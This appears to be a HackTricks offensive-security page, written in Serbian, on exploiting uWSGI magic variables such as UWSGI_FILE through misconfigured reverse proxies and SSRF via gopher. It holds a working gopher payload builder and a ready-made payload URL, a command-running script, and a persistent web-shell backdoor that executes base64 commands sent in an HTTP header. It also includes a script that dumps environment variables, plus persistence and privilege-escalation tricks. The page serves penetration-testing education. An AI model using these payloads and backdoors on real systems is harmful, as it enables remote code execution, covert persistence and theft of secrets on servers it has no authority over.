WSGI Post-Exploitation Tricks

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

WSGI pregled

Web Server Gateway Interface (WSGI) je specifikacija koja opisuje kako web server komunicira sa web aplikacijama i kako se web aplikacije mogu povezivati da obrade jedan zahtev. uWSGI je jedan od najpopularnijih WSGI servera, često korišćen za serviranje Python web aplikacija. Njegov nativni binarni transport je uwsgi protocol (lowercase) koji nosi paket parova ključ/vrednost (“uwsgi params”) do backend application servera.

Povezane stranice koje možda želite pogledati:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

uWSGI Magic Variables Exploitation

uWSGI pruža specijalne “magic variables” koje mogu promeniti kako instanca učitava i prosleđuje aplikacije. Ove varijable nisu obični HTTP header-i — one su uwsgi parametri nošeni unutar uwsgi/SCGI/FastCGI zahteva od reverse proxy-ja (nginx, Apache mod_proxy_uwsgi, itd.) do uWSGI backend-a. Ako proxy konfiguracija mapira podatke koje kontroliše korisnik u uwsgi parametre (na primer preko $arg_*, $http_*, ili nesigurno eksponiranih endpoint-a koji koriste uwsgi protocol), napadači mogu postaviti ove varijable i ostvariti izvršavanje koda.

Opasna mapiranja u prednjim proxy-jevima (nginx primer)

Pogrešne konfiguracije kao sledeće direktno izlažu uWSGI “magic variables” korisničkom unosu:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Ako aplikacija ili funkcija za otpremanje dozvoljavaju upisivanje fajlova na predvidivu putanju, njihovo kombinovanje sa mapiranjima iznad obično dovodi do trenutnog RCE kada backend učita fajl/modul pod kontrolom napadača.

Ključne iskoristive promenljive

UWSGI_FILE - Proizvoljno učitavanje/izvršavanje fajla

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Učitava i izvršava proizvoljan Python fajl kao WSGI aplikaciju. Ako napadač može da kontroliše ovaj parametar kroz uwsgi param bag, može postići Remote Code Execution (RCE).

UWSGI_SCRIPT - Učitavanje skripta

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Učitava navedeni skript kao novu aplikaciju. U kombinaciji sa mogućnostima otpremanja fajlova ili zapisivanja, ovo može dovesti do RCE.

UWSGI_MODULE i UWSGI_CALLABLE - Dinamičko učitavanje modula

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Ovi parametri omogućavaju učitavanje proizvoljnih Python modula i pozivanje određenih funkcija u njima.

UWSGI_SETENV - Manipulacija promenljivim okruženja

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Može se koristiti za modifikovanje environment variables, potencijalno utičući na ponašanje aplikacije ili učitavanje zlonamerne konfiguracije.

UWSGI_PYHOME - Manipulacija Python okruženjem

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

UWSGI_CHDIR - Promena direktorijuma

Menja Python virtualno okruženje, potencijalno učitavajući maliciozne pakete ili drugačije Python interpretere.

uwsgi_param UWSGI_CHDIR /etc/;

Menja radni direktorijum pre obrade zahteva i može se kombinovati sa drugim opcijama.

SSRF + uwsgi protocol (gopher) pivot

Threat model

Ako ciljana web aplikacija izlaže SSRF primitive i uWSGI instanca sluša na internom TCP socketu (na primer, socket = 127.0.0.1:3031), možete komunicirati raw uwsgi protokolom preko gopher i injektovati uWSGI magic varijable.

Ovo je moguće zato što mnoge implementacije koriste ne-HTTP uwsgi socket interno; reverse proxy (nginx/Apache) prevodi client HTTP u uwsgi param bag. Sa SSRF+gopher možete direktno konstruisati uwsgi binarni paket i postaviti opasne varijable kao što je UWSGI_FILE.

uWSGI protocol structure (quick reference)

  • Header (4 bytes): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Body: sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Za standardne zahteve modifier1 je 0. Telo sadrži uwsgi parametre kao što su SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, itd. Pogledajte zvaničnu specifikaciju protokola za potpune detalje.

Minimal packet builder (generate gopher payload)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Primer upotrebe za prisilno učitavanje fajla koji je prethodno upisan na serveru:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Pošaljite generisani URL kroz SSRF sink.

Ilustrativni primer

Ako možete da napišete python fajl na disku (ekstenzija nije bitna) sa kodom kao:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Generišite i pokrenite gopher payload koji postavlja UWSGI_FILE na ovu putanju. Backend će ga importovati i izvršiti kao WSGI app.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Učitajte ga pomoću UWSGI_FILE i pristupite mu pod izabranim SCRIPT_NAME.

Perzistencija zasnovana na okruženju

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Otkrivanje informacija

Ispis promenljivih okruženja

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Pristup datotečnom sistemu

Kombinuj UWSGI_CHDIR sa pomoćnikom za posluživanje fajlova da pregledaš osetljive direktorijume.

3. Privilege Escalation ideje

  • Ako uWSGI radi sa povišenim privilegijama i zapisuje sockets/pids u vlasništvu root-a, zloupotreba env i promena direktorijuma može ti pomoći da postaviš fajlove sa privilegovanim vlasnicima ili manipulišeš runtime stanjem.
  • Prepisivanje konfiguracije preko environment-a (UWSGI_*) u fajlu učitanom preko UWSGI_FILE može uticati na process model i workers i učiniti persistence diskretnijim.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Problemi desinhronizacije reverse-proxy relevantni za uWSGI lance (novije)

Implementacije koje koriste Apache httpd sa mod_proxy_uwsgi suočile su se nedavno sa greškama tipa response-splitting/desynchronization koje mogu uticati na sloj prevoda između frontend↔backend-a:

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; takođe relevantno za uWSGI integraciju pre ispravki u 2.0.22/2.0.26): crafted origin response headers mogu izazvati HTTP response smuggling kada se koristi mod_proxy_uwsgi. Nadogradnja Apache-a na ≥2.4.56 ublažava problem.
  • CVE-2024-24795 (ispravljeno u Apache httpd 2.4.59; uWSGI 2.0.26 je prilagodio svoju Apache integraciju): HTTP response splitting u više httpd modula mogao bi dovesti do desync-a kada backendi ubacuju header-e. U uWSGI 2.0.26 changelogu ovo se pojavljuje kao “let httpd handle CL/TE for non-http handlers.”

Ovo same po sebi ne daju RCE u uWSGI, ali u rubnim slučajevima mogu se spojiti sa header injection ili SSRF da bi se pivotiralo ka uWSGI backend-u. Tokom testiranja, fingerprint-ujte proxy i verziju i razmotrite desync/smuggling primitives kao ulaz u rute i socket-e koji su dostupni samo iz backend-a.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks